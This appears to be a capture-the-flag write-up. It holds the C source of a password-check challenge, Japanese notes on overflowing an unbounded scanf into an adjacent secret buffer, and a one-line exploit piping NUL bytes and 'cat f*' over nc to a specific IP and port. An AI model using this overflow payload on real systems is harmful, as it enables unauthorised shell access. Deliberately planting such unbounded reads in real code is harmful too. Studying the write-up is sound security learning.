#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/random.h>
#define debug_report(fmt, ...) printf("[DEBUG] " fmt "\\n", ##__VA_ARGS__)
char password[32];
char secret[32];
int main() {
/* Input password */
printf("Password: ");
scanf("%[^\\n]", password);
/* Check password */
debug_report("Authenticating...");
if (strcmp(password, secret)) {
puts("[-] Wrong password");
debug_report("'%s' != '%s'", password, secret);
} else {
puts("[+] Success!");
system("/bin/sh");
}
return 0;
}
__attribute__((constructor))
void setup() {
int seed;
setbuf(stdin, NULL);
setbuf(stdout, NULL);
/* Generate random password */
debug_report("Generating secure password...");
getrandom(&seed, sizeof(seed), 0);
srand(seed);
for (size_t i = 0; i < 16; i++)
secret[i] = 'A' + (rand() % 26);
}
scanf("%[^\\n]", password); の部分がsize指定なく脆弱
グローバル領域でpasswordの範囲に隣り合った secret を上書きできる。
strcmp はNUL終端までの比較なのでNULで埋めれば良い。
python3 -c 'print("\\0"*33 + "\\ncat f*")'| nc 34.170.146.252 6555